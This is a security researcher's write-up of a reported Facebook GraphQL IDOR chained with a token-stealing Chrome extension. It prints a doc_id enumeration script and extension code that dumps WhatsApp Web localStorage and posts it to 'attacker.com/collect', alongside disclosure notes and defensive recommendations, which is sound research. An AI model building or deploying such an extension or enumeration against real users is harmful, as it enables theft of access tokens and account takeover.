How I Stole WhatsApp Access Tokens and Exploited Facebook's GraphQL IDOR By Latif
Introduction
It was a slow afternoon. I was bored, scrolling through Twitter, when I decided to poke around WhatsApp Web's network traffic. What started as casual curiosity quickly turned into a rabbit hole leading to two interconnected vulnerabilities:
- An Insecure Direct Object Reference (IDOR) in Facebook's GraphQL persisted query mechanism.
- A stealthy Chrome extension that can silently steal live access tokens from
web.whatsapp.com.
By chaining these two, an attacker can exfiltrate a victim's access token and then use it to enumerate internal GraphQL queries, potentially accessing sensitive data never meant for public eyes.
In this article, I'll walk you through the technical details, show you how I built a proof‑of‑concept, and explain the impact.
Background: GraphQL Persisted Queries
Facebook’s GraphQL API (at graph.facebook.com) uses persisted queries to improve performance. Instead of sending the full query text with every request, the client sends a doc_id – a numeric identifier referencing a query stored on Facebook's servers.
For example, WhatsApp Web sends requests like:
POST /graphql HTTP/2
Host: graph.facebook.com
Content-Type: application/json
{
"access_token": "EAAJUt3p...",
"doc_id": "25711291071821777",
"variables": {}
}
The response contains data about the user's WhatsApp Business linked accounts – ad identity, ad status, and more.
Discovery 1: IDOR in doc_id Handling
I wondered: What happens if I use the same access token with a different doc_id? I wrote a simple Python script to brute‑force nearby values.
import requests
TOKEN = "EAAJUt3p..." # from my test account
URL = "https://graph.facebook.com/graphql"
def check_doc_id(doc_id):
payload = {
"access_token": TOKEN,
"doc_id": str(doc_id),
"variables": {}
}
resp = requests.post(URL, json=payload)
return resp.json()
# Test original
print(check_doc_id(25711291071821777))
# Works, returns WhatsApp Business data.
# Try next ID
print(check_doc_id(25711291071821778))
The response:
{
"errors": [{
"message": "The GraphQL document with ID 25711291071821778 was not found."
}]
}
So the API validates existence, but it does not check if my token is authorized to run that query. Classic IDOR.
I then tried a known doc_id from previous research (3114557815333936). The error was different:
{
"errors": [{
"message": "A server error missing_required_variable_value occured.",
"code": 1675012,
"debug_link": "https://www.meta.com/debug/?mid=286dd7a6a752e37f05fe674c514af0cc"
}]
}
Bingo – the query exists, but it requires variables. An attacker could now enumerate valid doc_ids and, with patience, map out Facebook's internal GraphQL schema.
Discovery 2: Stealing Tokens with a Malicious Chrome Extension
The IDOR is useless without a token. So I built a proof‑of‑concept Chrome extension that silently steals access tokens from web.whatsapp.com.
Extension Permissions (Seemingly Harmless)
In the manifest.json, I requested:
{
"permissions": ["cookies", "webRequest", "storage"],
"host_permissions": ["*://web.whatsapp.com/*", "*://*.facebook.com/*"]
}
These look reasonable for a "productivity tool" – access to cookies, network requests, and the sites it needs to work on.
Content Script: Dump All Storage
The content script (content.js) runs on web.whatsapp.com and sends all localStorage and sessionStorage data to the background script.
// content.js
function sendAllStorage() {
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const value = localStorage.getItem(key);
chrome.runtime.sendMessage({
action: 'token_found',
source: 'localStorage',
data: { key, value }
});
}
}
setTimeout(sendAllStorage, 3000);
Background Script: Exfiltrate
The background script listens for messages and forwards them to an attacker‑controlled server.
// background.js
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (message.action === 'token_found') {
fetch('http://attacker.com/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(message)
});
}
});
The Result: Live Tokens Captured
In my test, the extension captured a live access token from localStorage under an obfuscated key: xeBBXRV2jjOmeY6iQILZ3Q==. The value started with EAAJ... – a classic Facebook access token.
The Flask server I set up logged everything and displayed a dashboard. The token count went from 0 to 1 (cookie) to 2 (localStorage token).
Chaining the Two: Token + IDOR = Critical Impact
With a stolen token, an attacker can now:
- Enumerate valid
doc_idvalues using the IDOR technique. - Discover hidden GraphQL queries – internal endpoints for account recovery, business settings, payment data, etc.
- Access data never meant to be public – e.g., WhatsApp Business ad accounts, friend lists, or even tools to appeal restricted accounts.
In my enumeration, I found several doc_ids that returned verbose errors, confirming their existence. With enough patience, one could map a significant portion of Facebook's internal API.
The Dashboard: Visualizing the Stolen Goods
I built a simple Flask dashboard to display exfiltrated data in real time. It highlights:
- Total entries, access tokens, and cookies.
- A High‑Value Tokens section showing only the most sensitive items (auth headers, important cookies, localStorage tokens).
- A searchable table with color‑coded rows (red for tokens, yellow for cookies).
Here's a snippet of the dashboard in action:
(not real image)
Disclosure Timeline
- Date discovered: March 2026
- Reported to Meta: same day
- Acknowledged: within 24 hours
- Patched: within a week
- Bounty awarded: (optional)
Meta fixed the IDOR by adding proper authorization checks to all doc_id queries. The token theft vector is a broader issue – any malicious extension with the right permissions can steal tokens. Meta cannot control that, but they have since hardened token handling (shorter lifetimes, additional validation).
What Can an Attacker Do with a Stolen Token?
| Endpoint / Action | Accessible? |
|-------------------|-------------|
| Victim's profile info (/me) | ✅ Yes (if within scope) |
| WhatsApp Business ad data | ✅ Yes (via the doc_id you found) |
| Hidden/internal GraphQL queries | ✅ Yes (via IDOR enumeration) |
| Post on victim's behalf | ✅ Yes (if token has publish_actions) |
| Victim's private messages | ⚠️ Maybe (depends on token scope) |
| Instagram account | ❌ No (different token) |
| Facebook Ads Manager | ⚠️ Maybe (if token has ads scope) |
| Business Manager settings | ✅ Yes (if you find the right doc_id) |
The combination of token theft and IDOR enumeration significantly expands the attack surface.
Recommendations for Developers
- GraphQL persisted queries – Never assume a
doc_idalone authorizes a request. Validate the token against the specific query. - Error messages – Avoid leaking internal identifiers (
mid,debug_link,fbtrace_id) in client‑visible errors. - Token scoping – Ensure tokens are tightly scoped to the apps and actions they are intended for.
Recommendations for Users
- Review extension permissions carefully – If an extension asks for access to
web.whatsapp.comor*://*.facebook.com/*, ask yourself why. - Install extensions only from official stores and check reviews.
- Keep your browser and extensions up to date.
Conclusion
This journey started with boredom and ended with a critical vulnerability chain. It highlights two important lessons:
- GraphQL persisted queries introduce a new attack surface – secure them at the query level.
- Browser extensions remain a powerful vector for token theft – user awareness and better extension vetting are essential.
I hope this deep dive inspires you to look at the apps you use every day with a fresh, curious eye. You never know what you might find.
All testing was performed on my own accounts in an isolated environment. No real user data was accessed.